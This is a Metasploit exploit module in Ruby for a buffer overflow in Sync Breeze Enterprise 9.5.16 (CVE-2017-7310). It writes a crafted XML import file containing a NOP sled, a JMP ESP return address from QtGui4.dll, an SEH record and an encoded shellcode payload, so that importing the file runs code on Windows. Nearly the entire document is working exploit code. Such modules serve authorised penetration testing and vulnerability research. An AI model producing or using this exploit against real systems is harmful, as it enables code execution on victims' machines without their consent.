##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
      'Description'     => %q(
        This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
        by using the import command option to import a specially crafted xml file.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Daniel Teixeira'
        ],
      'References'      =>
        [
          [ 'CVE', '2017-7310' ],
          [ 'EDB', '41773' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
          'StackAdjustment' => -3500
        },
      'Targets'         =>
        [
          ['Windows Universal', { 'Ret' => 0x10015FFE } ]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => '2017-03-29',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
      ])
  end

  def exploit
    jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
    esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
    jmp = "\xFF\xE0" # JMP ESP

    buffer =  "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
    buffer << "\x90" * 1536
    buffer << jmpesp
    buffer << "\x90" * 18
    buffer << esp
    buffer << jmp
    buffer << "\x90" * 68
    buffer << generate_seh_record(target.ret)
    buffer << "\x90" * 10
    buffer << payload.encoded
    buffer << "\x90" * 5000
    buffer << "\n</classify>"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end
